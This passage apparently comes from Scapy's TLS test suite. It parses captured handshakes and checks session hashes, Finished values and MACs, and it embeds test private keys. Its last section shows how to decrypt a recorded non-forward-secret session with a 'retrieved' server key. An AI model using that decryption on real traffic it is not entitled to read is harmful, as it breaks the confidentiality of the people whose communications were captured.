DVjRDBQc3RkSVFTQzMxZFBzUHMrSnJMVlBKQVpGZTBLVk1lYkk2ODU1cERYZApGd1ZGcC9BOXhFa3NwRW1jS0tnL1ZkZ3JQZUxMQmxhVm9mMVhPeUhWQVFLQmdRRHhPdXFGaXJvNTNQNGZQUGlMCkFnTTNvRnpmY2xwdDFMdnduelprUmVMU1NvVFBvZSt1R2xMdTBpS3lMUHBjWm1DTCt0bldsSXBheHRYOU1CRmUKOWNvMlJpSU9WM2JZM0ZpOTBLYjlvN3NyZURhaWE5NElHNGlBYktyWjJJdktBZmFkWnBqb1hBTXZpWnBEYWxGYgprZWVCd29nV0sreTdic2EwU1RYTGVMdjF5d0tCZ1FEZjRwT2lUZ3RBNFdtMXo2WFB4Z0ZCa3A3OWVjaWhINTlICnF1cVJNNkhtQ2YzSnZqZzJCZnYyb2hYNTlTU2VnZTI5ek0yZEhmVGhSeW1vZlg5VkpyMnRYY2FhVWpkRnp1Ui8Kcm1EblJMTjVDTUFnUWNCU3M5UXFCaXdTM0hqVmpML1REcFMvblJwY2VCQnNZTFYvR1YvQkpvWDkxTlVodVRXcwpjQ0VvRmNVOVF3S0JnUUNjbCtGTHhTMTBpSGZTY1hMcVVla2l3QS9wNFVMQWoxdGRMUTFTOUdiMG1ma3pDKzBaCitPNmpKM2ZzYi9RcDdTOTVUdU1BUDdhOGpOeTJtZkI4MDFOci9nVDNpR0dYRHhyd1JUVlI2MnFDSW14YzdXYloKbm4zeTJCZmtpSVRlSW40ajJVa2pkUytBT1hRUmxUK3hFTHJXNmlBTFBJSlZmZWl4ZWVEWTc4d2NGd0tCZ0Z5aQoxcTFvbDNWd0Q1cGY0ZDdYc2Z0YzNKWkxCcjNNWk01MXBQc1JueUtjN2JyRkQyTWpGTDlYRDdyT09TbXczeHNTCm05MHY0UHc1d3IzcHQzOFhPWko3WThyRXpBUUJlRUJ3ZWI0WGloOUJoS1dVTHl6SkpiZUJ1RWpSbXRuWmxDR1QKUGU4TzVUSnZwM1FBaS9pY0dpZkVkZHF5YnNHMmJjUDgzV3RGbnNnYkFvR0FMOHF4VUx3bGlMck1ML3c3aEJNegpXSHdKM21PK0NXbzFWR3p4bi9lK3I2ejVTUW03M0VuYzlSZnVkN3RBWmU1QUhXYXVSR3RNaVNoY0J1bkl5Q0g1CnU2Q2laZU5UOTBRdElLRmVCS09QSk5WNDR1QzJtK0xKQkNGa0hzU085MHp0dHZzcmVyU0tiNG5oZ2tiZDhxQ24KbDVFZFBpZEx2NXdiY0tyc3dIVzZYSm89Ci0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0=') # Load key ssl_key = PrivKey(key) # Load TLS session r1 = TLS(chello_extms) r1.tls_session.server_rsa_key = ssl_key r2 = TLS(shello_extms, tls_session=r1.tls_session.mirror()) r3 = TLS(finished_extms, tls_session=r2.tls_session.mirror()) r3 assert r3.tls_session.extms assert r3.tls_session.session_hash == b'\n\x8b\xe0\x08S\xb9f|\xd4\x1f\xc5\x8f\xdb\xfaj\xc6\xb4Aj\\j~B)Ep\x07\x90\xc6/\x18\x1e\x99\x1e\x8d.\xe2,B\xe1\x10ZJ\x10^\xect(' l3 = r3.getlayer(TLS, 3) assert isinstance(l3.msg[0], TLSFinished) assert l3.msg[0][TLSFinished].vdata == b'\x00\x1fG\xd8VD@\x0ctK\xeee' # RC4 case chello_extms = bytes.fromhex('160301008501000081030360037703ac90bb5e29ae0fca71b68dd8133b17b7060c13779d34f69d5c3255110000060005000400ff01000052337400000010000e000c02683208687474702f312e310016000000170000000d0030002e040305030603080708080809080a080b080408050806040105010601030302030301020103020202040205020602') shello_extms = bytes.fromhex('1603030055020000510303c985430a03add71566a952a16249e471cd3226c0792ba42c444f574e4752440120e835d66cd3293b9fcb157d5c477848d654a2d3a42fc92bcf9c472171188f69610005000009ff0100010000170000160303036e0b00036a0003670003643082036030820248a003020102020900eb73b71c3e2f9fdc300d06092a864886f70d01010b05003045310b30090603550406130241553113301106035504080c0a536f6d652d53746174653121301f060355040a0c18496e7465726e6574205769646769747320507479204c7464301e170d3139303231353135313430335a170d3239303231323135313430335a3045310b30090603550406130241553113301106035504080c0a536f6d652d53746174653121301f060355040a0c18496e7465726e6574205769646769747320507479204c746430820122300d06092a864886f70d01010105000382010f003082010a0282010100d2f7d36b233a5619368fc3a7db0f2364dc71986dd4eebcbee85b783e139cfeb0a80de50147c936aa84230e2fa2eb91ef1737410387b932440ac7cfda3c5966eef88f688bcbee6a5d0dfaa075b77dfe836f2cb318375ff5be2b35f6d62dd7c4b147224f67d53d95c7fcc11cda7bc622369b4d4a685655169fb28f66e511724f0c9af2f74ea4cdf09b92f917246a582f67fade3eff7eca2c794d713c13f80cd53f847aa196d0adc04494790a628e327f4b53d05b83025c3ea541195f953ce6fc37edcc68a8fd6eca621f38bc08bc2d8d72cfcdf85c68f9f4f4485b32133c63299f85ffd62bde5a9d585e5a896f08319448277f19e86d5d6878bc53768b2ef9b3210203010001a3533051301d0603551d0e041604148297fb8cf3d9ddf2f60ec90f92815c28e3f3ff35301f0603551d230418301680148297fb8cf3d9ddf2f60ec90f92815c28e3f3ff35300f0603551d130101ff040530030101ff300d06092a864886f70d01010b050003820101003c001f0f5d106072e0beedfa47895329d4623422080e66caa4beb4c3d9b6868fa107467d6160e512ede7cbbefdeb17c09b9f594f86f1a9922c982ccf9655d4d67eda061f667eeb25fe7203bea00e40f150a490a78ca963d87c185ade8b7c294f5052fb1e1edb3403831e33e4026c8e56717cb77bc32321858be37a77fe7f5511ef8c2013c86e2730c5b2366875131cae0c7616fdc7c8605696133e7a685f20203c0db8e0ff1d1a5991d2f058f48f20b10a5fb0df27a1f9874cc0fe8d6ebf77e9a7ba38490e9d63241a0fb3fd7701ff3b130c9aa7aa77770280b7003c1bb5e0784c34aacb74ce8114960e50eee04602a7ab20e5c878028e4292e90e40fd631fee16030300040e000000') finished_extms = bytes.fromhex('16030301061000010201004971b89ae4355a001c49ccb49ed0664a9090a2dc0c14c97563b6dd98f13004ac5327c97abf10617b1f5d19b1f6e1091ccf159693497ebda262aedba2f3b76ae217d56477cad45e2ea129c324083701c2e99e65b6d63f916f963de8d98c5357d22272c032a30acccd673d1556d01e22e206186bcda3a5845d6dacee260ab66f47ea86a4c0081faa082b398f2c65da35264428f320c354b97cd96c986da43c8510e914ffb7f8bb73baee2530c4533ae2d6a922771af689c15b42c53428978510a3e3e90a3806f77fc1cb35c2c3f34dd7e3f831a79bc59b333f0c9e8be49390cd2a8e1c88dafbb9e3e24d1e0530703dbff7cd1c516fcc21a7d484f2111f985f03f8140303000101160303002457ed5c62171e4720a5890cf9ef09323f6e2db063aeebea776a54b879ffb6a69182d15cae') # Load TLS session r1 = TLS(chello_extms) r1.tls_session.server_rsa_key = ssl_key r2 = TLS(shello_extms, tls_session=r1.tls_session.mirror()) r3 = TLS(finished_extms, tls_session=r2.tls_session.mirror()) assert r3.tls_session.extms assert r3.tls_session.pwcs.prf.hash_name == "SHA256" assert r3.tls_session.session_hash == b'2\xdc\xf5\xcb\xbc\x99\xc6IV\xba\x0f.\x0bdq\x1f=\xef\xdaW\xfc*A\x9b\xe2?b\xccKW\xe9\xb7' l3 = r3.getlayer(TLS, 3) assert isinstance(l3.msg[0], TLSFinished) assert l3.msg[0][TLSFinished].vdata == b'\x15\xd6\xd5\xea\x84\xee\xb3\xdd\xd6\x10\xd8\x11' = Reading TLS test session - Encrypt-then-MAC extension ~ libressl from scapy.layers.tls.cert import PrivKey from scapy.layers.tls.handshake import TLSFinished from scapy.layers.tls.record import TLS client_hello = bytes.fromhex('16030100c9010000c50303611a2f42b70345cfbc5c5c4da1929bea8a2cb8b1fd10ab1341e43ffaa8856a63000038c02cc030009fcca9cca8ccaac02bc02f009ec024c028006bc023c0270067c00ac0140039c009c0130033009d009c003d003c0035002f00ff01000064000b000403000102000a000c000a001d0017001e00190018337400000010000e000c02683208687474702f312e310016000000170000000d002a0028040305030603080708080809080a080b080408050806040105010601030303010302040205020602') server_hello = bytes.fromhex('1603030059020000550303a22c975875df69bea936cbd28b083cde754693b4f34a15a036e5e57b7f4755cf20226e6386f90e3751723beea9196640d5bbe6c7c9f314568fa3645cb7218e9159003d00000dff010001000016000000170000160303036e0b00036a0003670003643082036030820248a003020102020900eb73b71c3e2f9fdc300d06092a864886f70d01010b05003045310b30090603550406130241553113301106035504080c0a536f6d652d53746174653121301f060355040a0c18496e7465726e6574205769646769747320507479204c7464301e170d3139303231353135313430335a170d3239303231323135313430335a3045310b30090603550406130241553113301106035504080c0a536f6d652d53746174653121301f060355040a0c18496e7465726e6574205769646769747320507479204c746430820122300d06092a864886f70d01010105000382010f003082010a0282010100d2f7d36b233a5619368fc3a7db0f2364dc71986dd4eebcbee85b783e139cfeb0a80de50147c936aa84230e2fa2eb91ef1737410387b932440ac7cfda3c5966eef88f688bcbee6a5d0dfaa075b77dfe836f2cb318375ff5be2b35f6d62dd7c4b147224f67d53d95c7fcc11cda7bc622369b4d4a685655169fb28f66e511724f0c9af2f74ea4cdf09b92f917246a582f67fade3eff7eca2c794d713c13f80cd53f847aa196d0adc04494790a628e327f4b53d05b83025c3ea541195f953ce6fc37edcc68a8fd6eca621f38bc08bc2d8d72cfcdf85c68f9f4f4485b32133c63299f85ffd62bde5a9d585e5a896f08319448277f19e86d5d6878bc53768b2ef9b3210203010001a3533051301d0603551d0e041604148297fb8cf3d9ddf2f60ec90f92815c28e3f3ff35301f0603551d230418301680148297fb8cf3d9ddf2f60ec90f92815c28e3f3ff35300f0603551d130101ff040530030101ff300d06092a864886f70d01010b050003820101003c001f0f5d106072e0beedfa47895329d4623422080e66caa4beb4c3d9b6868fa107467d6160e512ede7cbbefdeb17c09b9f594f86f1a9922c982ccf9655d4d67eda061f667eeb25fe7203bea00e40f150a490a78ca963d87c185ade8b7c294f5052fb1e1edb3403831e33e4026c8e56717cb77bc32321858be37a77fe7f5511ef8c2013c86e2730c5b2366875131cae0c7616fdc7c8605696133e7a685f20203c0db8e0ff1d1a5991d2f058f48f20b10a5fb0df27a1f9874cc0fe8d6ebf77e9a7ba38490e9d63241a0fb3fd7701ff3b130c9aa7aa77770280b7003c1bb5e0784c34aacb74ce8114960e50eee04602a7ab20e5c878028e4292e90e40fd631fee16030300040e000000') client_finished = bytes.fromhex('1603030106100001020100482bf86fa7047c767ecc5f46e971f2349232d57d4c40b04856b6ea2b5645b5b233c0cd2ad7b05101d6a3fcbd2698b25064501ba4f0cde40c8189abc29aebfffcb87413d4590cae7cf3589fa371ad5e0d161da9c275a4b8ca1aa9a400a3d76021f92b872403a72a22bad6368276010209ca1344971adf7d7a9cdeefd534cd933ec3d2852ea1dfff217f7cd55eac7d2b18f7c5600c56f28746389d1d6c33cd2ac24817632fc0fbd81ffcf528b1c2a5b328a0105e88513e6b2f95b51ca3adf390146662115a721bfd718eae3033388aaa5cb37e2c16428a6f7c994f961137f6a7f933327ed300f15621500d427d261f39970bbf40f4ba303963609439007d34e6bc1403030001011603030050f4b7962d5455e9244efe886bbd4156ca20936e4b8868d80c82b06ceac7cff6d69f130a610f2aa4c4fd8cb2681f84e3ebecad1b563bcd258255aa509ba2b6388f90ac5f1c1f84f1569dc3809667b86ba4') server_finished = bytes.fromhex('14030300010116030300509e8e5fd6aebaa98263e98266fffcf7fd21eb50fb0510b8598660afb65c57a025374c1e63aff3e260dd5d027180e8aa0d85d43e0c0b54e8783e4ce51a71ef0ae555ab81404020342ca1a34643ce713688') # Load TLS session r1 = TLS(client_hello) r1.tls_session.server_rsa_key = ssl_key r2 = TLS(server_hello, tls_session=r1.tls_session.mirror()) r3 = TLS(client_finished, tls_session=r2.tls_session.mirror()) r4 = TLS(server_finished, tls_session=r3.tls_session.mirror()) client_finished = r3.getlayer(TLS, 3).msg[0] server_finished = r4.getlayer(TLS, 2).msg[0] assert r4.tls_session.encrypt_then_mac assert isinstance(client_finished, TLSFinished) assert isinstance(server_finished, TLSFinished) assert client_finished.vdata == bytes.fromhex('771049b4ff714ac71253f84f') assert server_finished.vdata == bytes.fromhex('42c9765e833997b6714fec75') ### ### Other/bug tests ### = Reading TLS test session - Full TLSNewSessionTicket captured ~ libressl import os filename = scapy_path("/test/pcaps/tls_new-session-ticket.pcap") a = rdpcap(filename) pkt = a[4] assert isinstance(pkt[TLS].msg[0], TLSNewSessionTicket) assert pkt[TLS].msg[0].ticket == b'6k\x8b{\xa8\xaf\xf0\x8aG*\xdd\xc2\xf6\t\xde\xc9y\t\x1d\xdb\xd55!\x91\x1f+\x1a\xa1@\xfe/\x90\xba\x98\xc5\xb3\xe8>y\xae\xda\xc3@\x184\xf6\x1f\xbc{|\xe87\xfe>\xba\\\x1d\x11\x00\xe6\xb9\xf6[,X\x0e\xe0jY\xa8\xfa\x07!1\xb8\x82\xbe\xa6aK\xa7\xad;(\x91^\xb9\xd3a\xa5\xfb%\xda\x10f\xfe\xf9\xc8\xf4\xc6z\xa7d\xa5\x89\x82IZ\xdc3\xa0{\x8c\x1c"\xd5w\x8e\x07\xa0G\xc6\xa7\x0c\xf3<:\x82c\x8a\xeb\x14("\xc4\x9bLS\xc1\x9f\xd7\xa09\xe8,\xe4*i\xf3\x9b\xbb\xb5\x98\xc9*EQ\x1e\xf4\xf7\xb05\xbaby\xa0\xceW\x87\x903\x193\xe3\xfb\xaf\xe82U\xbd\xe7t\xd0\xa4T\xe4\xd8\xe6\xdbd!\xf9' assert pkt[TLS].msg[0].lifetime == 3600 = Reading TLS test session - ApplicationData ~ libressl t7 = TLS(p7_data, tls_session=t6.tls_session.mirror()) assert t7.iv == b'\x00\x00\x00\x00\x00\x00\x00\x01' assert t7.mac == b'>\x1dLb5\x8e+\x01n\xcb\x19\xcc\x17Ey\xc8' assert not t7.pad and not t7.padlen assert isinstance(t7.msg[0], _TLSEncryptedContent) len(t7.msg[0].load) == 478 = Reading TLS msg dissect - Packet too small assert isinstance(TLS(b"\x00"), Raw) = Reading TLS msg dissect - Wrong data from scapy.layers.tls.record import _TLSMsgListField # Unknown type assert isinstance(_TLSMsgListField.m2i(_TLSMsgListField("", []), TLS(type=0), b'\x00\x03\x03\x00\x03abc'), Raw) with no_debug_dissector(): # not even bytes to make it crash assert isinstance(_TLSMsgListField.m2i(_TLSMsgListField("", []), TLS(type=20), 1), Raw) = Test x25519 dissection in ServerKeyExchange import binascii from scapy.layers.tls.session import tlsSession session = tlsSession(connection_end="client") # Raw hex data of a TLS Handshake - Server Key Exchange with x25519 elliptic curve hex_data = "160303012c0c00012803001d202f19b3f5defbd65cfdcbb3583d4760ef74dde4144e01049a43d8a036df38ca15080401008e4e4afc21f612d2f024bb489940a733ea606ed36cba9c60b8479264dcb5f4a0f839d85fa02f0a4be087243e69e575af48917ba6dfda9b485311cd8fe0d7616ece9b216b7b878588c03d3ab90b9dc981f758588905307541c7d3ccb6655baf7bfb0628f3a0ac181729da6b7fcba3efdd43f5bbaec53cfa4dd512941ee1204a42cba8a989e724bd42ac2cb1373ddb54acba29ae45fd58047176e4cb623a9b301711b926d15103f5251f6a0288b04a644834a9843752bbe2f8554beffdbf412983456fcc38b9caabdf7cf9ea2c30bd72dc00cf2cf48f22cd7f17b2d22fb651facb772507cc2fb83301c0c8dd1c3b4f24f38f0c4c82d21d0fa5d1e0b260d545e701" packet = TLS(binascii.unhexlify(hex_data), tls_session=session) assert isinstance(packet.msg[0], TLSServerKeyExchange) assert packet.msg[0].params[0].sprintf("%named_curve%") == "x25519" assert packet.msg[0].params[0].point == b'/\x19\xb3\xf5\xde\xfb\xd6\\\xfd\xcb\xb3X=G`\xeft\xdd\xe4\x14N\x01\x04\x9aC\xd8\xa06\xdf8\xca\x15' ############################################################################### ####### Read handshake with TLS_ECDHE_ECDSA_WITH_NULL_SHA ##################### ############################################################################### + Read handshake with NULL Cipher = Reading test session - Loading unparsed TLS records p1_ch = b'\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x86C\xf2\xe4x\xbaL\x9a`\xc3\x9aR\xa8\xb4\xac\xd0\r\xe2\xa3N\xe6\xa8]g5z$j\xb1(%\xe3\x00\x00\x08\xc0\x06\xc0#\xc0$\x00\xff\x01\x00\x00F\x00\x0b\x00\x04\x03\x00\x01\x02\x00\n\x00\n\x00\x08\x00\x1d\x00\x17\x00\x19\x00\x18\x00#\x00\x00\x00\x16\x00\x00\x00\x17\x00\x00\x00\r\x00 \x00\x1e\x06\x01\x06\x02\x06\x03\x05\x01\x05\x02\x05\x03\x04\x01\x04\x02\x04\x03\x03\x01\x03\x02\x03\x03\x02\x01\x02\x02\x02\x03' p2_sh = b'\x16\x03\x03\x006\x02\x00\x002\x03\x03C\nm.s\x07W\xef\x91\xf0\xc7\xd8\xaa\xc3NL}\xb0tw?\xd8\n\x8f\x8d\xc4\xee,fhY\x85\x00\xc0\x06\x00\x00\n\x00\x0b\x00\x02\x01\x00\x00\x17\x00\x00' p3_cert = b'\x16\x03\x03\x02\xca\x0b\x00\x02\xc6\x00\x02\xc3\x00\x02\xc00\x82\x02\xbc0\x82\x02\x1d\xa0\x03\x02\x01\x02\x02\x02\x04\xd20\n\x06\x08*\x86H\xce=\x04\x03\x020v1\x0b0\t\x06\x03U\x04\x06\x13\x02PL1\x0b0\t\x06\x03U\x04\x08\x0c\x02PL1\x0c0\n\x06\x03U\x04\x07\x0c\x03KTW1\x0c0\n\x06\x03U\x04\n\x0c\x03ORG1\x0e0\x0c\x06\x03U\x04\x0b\x0c\x05OUNIT1\x110\x0f\x06\x03U\x04\x03\x0c\x08SomeName1\x1b0\x19\x06\t*\x86H\x86\xf7\r\x01\t\x01\x16\x0cemail@adress0\x1e\x17\r190404065502Z\x17\r270621065502Z0\x81\x881\x0b0\t\x06\x03U\x04\x06\x13\x02PL1\x0b0\t\x06\x03U\x04\x08\x0c\x02PL1\x0c0\n\x06\x03U\x04\x07\x0c\x03KTW1\x0c0\n\x06\x03U\x04\n\x0c\x03ORG1\x110\x0f\x06\x03U\x04\x0b\x0c\x08SomeUnit1\x110\x0f\x06\x03U\x04\x03\x0c\x08SomeName1\r0\x0b\x06\x03U\x04\x05\x0c\x0412341\x1b0\x19\x06\t*\x86H\x86\xf7\r\x01\t\x01\x16\x0cemail@adress0Y0\x13\x06\x07*\x86H\xce=\x02\x01\x06\x08*\x86H\xce=\x03\x01\x07\x03B\x00\x04\x97\xfcij\xa2\xeeZh>\x94\n\xad\x1f\x16\x91\x80\x89\xc5\xb3\xc4\xb7\xd1A\xf0(\x96\x93UJ\xca\x98Y\xdec\xad\xa0\xbb\xd9\xebl\x15\xc7\xf2\xa9\xcfl\xbf\x0f\xed"\x08%\x8f\xaf\xd7\xf1K\x98\xf1\xf9\x04.\x05\x81\xa3\x81\x870\x81\x840\t\x06\x03U\x1d\x13\x04\x020\x000\x0e\x06\x03U\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x03\xa80\'\x06\x03U\x1d%\x04 0\x1e\x06\x08+\x06\x01\x05\x05\x07\x03\x04\x06\x08+\x06\x01\x05\x05\x07\x03\x02\x06\x08+\x06\x01\x05\x05\x07\x03\x010\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14\xb2\x12\x8c\xe4\x16\x17XjZ%+4G\xa0\xfd\x0b!\x91\xc7\xec0\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14\xe2\x17\xb1\xb1\xe1\xca3\xe8\xed\xfd\x86\x13\x10\xe7x5H\xdf1\xf50\n\x06\x08*\x86H\xce=\x04\x03\x02\x03\x81\x8c\x000\x81\x88\x02B\x01\xeb\xc9\xbe\xa1^\x12\x85\x10\x03\x9f$\xc6(\xce\xd7x\xc3w\x00\xd2\x8an\\r\xe8\xb3\xb9\x92Q\x8f\x9f\x81v\xa7*\xa0\xb2\xd8\x17\x12\xbe\xef\x04c\x97T\x8c;&B[\xda\xf8\x81c7\xd25\xfb\xae\x19\x81A\x9b\xc6\x02B\x012\xe9G\xd9;9\x97\x9c\xed_\xa19K\xef\x1b\xf1\x8f\x01\x86icw\r\xa1\x19\xb7\xa6\xe6\xc7\xef\xd6\x1bTr\xb1~\x8ae:4\xdb\xdb\x07\xcf&\xd4\xc0,\xf7\xf5\xa7\'m\xe1a\x06\xb5>\xec\xf1kDB\xf7\\' p4_ske = b'\x16\x03\x03\x00\x93\x0c\x00\x00\x8f\x03\x00\x17A\x04\xb4\xd4\xf6^\x87(\x97\xc4\xe5)\x19E\xe1\x9e\xfdPOf\x91\xa1PTdk\xdcU\n\xb9\x07\x93\xc8\xd1\xb0\tA\xce\xf9\xcd\x0e\xb6\xd7\xf0\r\xc7\xba\xaa\xd9zA\xe8\x8f(\xe1\x0fE[+&9\x90\xd4\n`O\x06\x03\x00F0D\x02 -\x04\xe5.g\x92\xca\xbe\xe4\x87\x9a\x88\x80~<\x10Q&v\xfa~\xf4h\x7f\xd0\xa1\x16\xf2\xfdN\x8b\xdf\x02 eI\xf0{E6mU0bRt\xb9\xc4\xcff\xf9\x87\xfdL\xdd\xa3d\xcf1\xab| ~"<\xcd' p5_shd = b'\x16\x03\x03\x00\x04\x0e\x00\x00\x00' p6_cke_ccs_cfin = b'\x16\x03\x03\x00F\x10\x00\x00BA\x04w_\xba\x8cX9\xab\x1f\x1drw\xaa\x08"\xe6\x05\x8eS\x8637\xb75\xe4\x1f\xc3H-\x12\xf4\xbb\x10\xf8\xb8.[?\x11sG\x0b\x18\x03}\x16n\n\xdb\x7f\x92\xear\xd1\x1a\x07.e;\xfc\xcer\x1f\xebA\x14\x03\x03\x00\x01\x01\x16\x03\x03\x00$\x14\x00\x00\x0cYX\xacX\xb81\x1fX\x8f\xbe\x1dJ\x10\xce\xca2\xb4\xc3m\xf1\x16c\xdb\xfc\x08\x16\x1d\x82\x83U\x8c\xe1' p7_ccs = b'\x14\x03\x03\x00\x01\x01' p8_sfin = b'\x17\x03\x03\x00$\x14\x00\x00\x0c8\x1f\x18\xb6f\x98\xe3\xc0\xa4\xe2\xf8\xba\n\xd7\xd0\xb93y]\x1a\n\xeb\xc39nd\xa5\xd7\x8c\xe5\xf9\x91' = Reading TLS test session t1 = TLS(p1_ch) t2 = TLS(p2_sh, tls_session=t1.tls_session.mirror()) t3 = TLS(p3_cert, tls_session=t2.tls_session) t4 = TLS(p4_ske, tls_session=t3.tls_session) t5 = TLS(p5_shd, tls_session=t4.tls_session) t6 = TLS(p6_cke_ccs_cfin, tls_session=t5.tls_session.mirror()) = Verify TLSClientKeyExchange cke = t6.msg[0] assert isinstance(cke, TLSClientKeyExchange) = Verify TLSChangeCipherSpec ccs = t6.payload.msg[0] assert isinstance(ccs, TLSChangeCipherSpec) = Verify TLSFinished from scapy.layers.tls.handshake import TLSFinished cfin = t6.payload.payload.msg[0] assert isinstance(cfin, TLSFinished) = Verify MAC - TLSFinished record assert (t6.payload.payload.mac == b'\x10\xce\xca2\xb4\xc3m\xf1\x16c\xdb\xfc\x08\x16\x1d\x82\x83U\x8c\xe1') ############################################################################### ################## Reading TLS vulnerable test session ######################## ############################################################################### # These packets come from a session between an s_server and an s_client. # We assume the server's private key has been retrieved. Because the cipher # suite does not provide PFS, we are able to break the data confidentiality. + Read a vulnerable TLS session ~ server_rsa_key = Reading TLS vulnerable session - Decrypt data from using a compromised server key load_layer("tls") from scapy.layers.tls.cert import PrivKeyRSA from scapy.layers.tls.record import TLSApplicationData import os filename = scapy_path("/test/scapy/layers/tls/pki/srv_key.pem") key = PrivKeyRSA(filename) ch = b'\x16\x03\x01\x005\x01\x00\x001\x03\x01X\xac\x0e\x8c\xe46\xe9\xedo\xda\x085$M\xae$\x90\xd9\xa93\xb7(\x13J\xf9\xc5?\xef\xf4\x96\xa1\xfa\x00\x00\x04\x00/\x00\xff\x01\x00\x00\x04\x00#\x00\x00' sh = b'\x16\x03\x01\x005\x02\x00\x001\x03\x01\x88\xac\xd4\xaf\x93~\xb5\x1b8c\xe7)\xa6\x9b\xa9\xed\xf3\xf3*\xdb\x00\x8bB\xf6\n\xcbz\x8eP\x83`G\x00\x00/\x00\x00\t\xff\x01\x00\x01\x00\x00#\x00\x00\x16\x03\x01\x03\xac\x0b\x00\x03\xa8\x00\x03\xa5\x00\x03\xa20\x82\x03\x9e0\x82\x02\x86\xa0\x03\x02\x01\x02\x02\t\x00\xfe\x04W\r\xc7\'\xe9\xf60\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000T1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x160\x14\x06\x03U\x04\x03\x0c\rScapy Test CA0\x1e\x17\r160916102811Z\x17\r260915102811Z0X1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x1a0\x18\x06\x03U\x04\x03\x0c\x11Scapy Test Server0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xcc\xf1\xf1\x9b`-`\xae\xf2\x98\r\')\xd9\xc0\tYL\x0fJ0\xa8R\xdf\xe5\xb1!\x9fO\xc3=V\x93\xdd_\xc6\xf7\xb3\xf6U\x8b\xe7\x92\xe2\xde\xf2\x85I\xb4\xa1,\xf4\xfdv\xa8g\xca\x04 `\x11\x18\xa6\xf2\xa9\xb6\xa6\x1d\xd9\xaa\xe5\xd9\xdb\xaf\xe6\xafUW\x9f\xffR\x89e\xe6\x80b\x80!\x94\xbc\xcf\x81\x1b\xcbg\xc2\x9d\xb5\x05w\x04\xa6\xc7\x88\x18\x80xh\x956\xde\x97\x1b\xb6a\x87B\x1au\x98E\x82\xeb>2\x11\xc8\x9b\x86B9\x8dM\x12\xb7X\x1b\x19\xf3\x9d+\xa1\x98\x82\xca\xd7;$\xfb\t9\xb0\xbc\xc2\x95\xcf\x82)u\x16)?B \x17+M@\x8cVl\xad\xba\x0f4\x85\xb1\x7f@yqx\xb7\xa5\x04\xbb\x94\xf7\xb5A\x95\xee|\xeb\x8d\x0cyhY\xef\xcb\xb3\xfa>x\x1e\xeegLz\xdd\xe0\x99\xef\xda\xe7\xef\xb2\t]\xbe\x80 !\x05\x83,D\xdb]*v)\xa5\xb0#\x88t\x07T"\xd6)z\x92\xf5o-\x9e\xe7\xf8&+\x9cXe\x02\x03\x01\x00\x01\xa3o0m0\t\x06\x03U\x1d\x13\x04\x020\x000\x0b\x06\x03U\x1d\x0f\x04\x04\x03\x02\x05\xe00\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14\xa1+ p\xd2k\x80\xe5e\xbc\xeb\x03\x0f\x88\x9ft\xad\xdd\xf6\x130\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14fS\x94\xf4\x15\xd1\xbdgh\xb0Q725\xe1\xa4\xaa\xde\x07|0\x13\x06\x03U\x1d%\x04\x0c0\n\x06\x08+\x06\x01\x05\x05\x07\x03\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x81\x88\x92sk\x93\xe7\x95\xd6\xddA\xee\x8e\x1e\xbd\xa3HX\xa7A5?{}\xd07\x98\x0e\xb8,\x94w\xc8Q6@\xadY\t(\xc8V\xd6\xea[\xac\xb4\xd8?h\xb7f\xca\xe1V7\xa9\x00e\xeaQ\xc9\xec\xb2iI]\xf9\xe3\xc0\xedaT\xc9\x12\x9f\xc6\xb0\nsU\xe8U5`\xef\x1c6\xf0\xda\xd1\x90wV\x04\xb8\xab8\xee\xf7\t\xc5\xa5\x98\x90#\xea\x1f\xdb\x15\x7f2(\x81\xab\x9b\x85\x02K\x95\xe77Q{\x1bH.\xfb>R\xa3\r\xb4F\xa9\x92:\x1c\x1f\xd7\n\x1eXJ\xfa.Q\x8f)\xc6\x1e\xb8\x0e1\x0es\xf1\'\x88\x17\xca\xc8i\x0c\xfa\x83\xcd\xb3y\x0e\x14\xb0\xb8\x9b/:-\t\xe3\xfc\x06\xf0:n\xfd6;+\x1a\t*\xe8\xab_\x8c@\xe4\x81\xb2\xbc\xf7\x83g\x11nN\x93\xea"\xaf\xff\xa3\x9awWv\xd0\x0b8\xac\xf8\x8a\x945\x8e\xd7\xd4a\xcc\x01\xff$\xb4\x8fa#\xba\x88\xd7Y\xe4\xe9\xba*N\xb5\x15\x0f\x9c\xd0\xea\x06\x91\xd9\xde\xab\x16\x03\x01\x00\x04\x0e\x00\x00\x00' ck = b"\x16\x03\x01\x01\x06\x10\x00\x01\x02\x01\x00w\x93\xec\xfa\xf3\xdf[\x9a4\xa7\x9e\xcd\x06=\x8dH\xf1\x069\x8c\x06\x01S\xf7\xb5\x16h\xf6\xd5 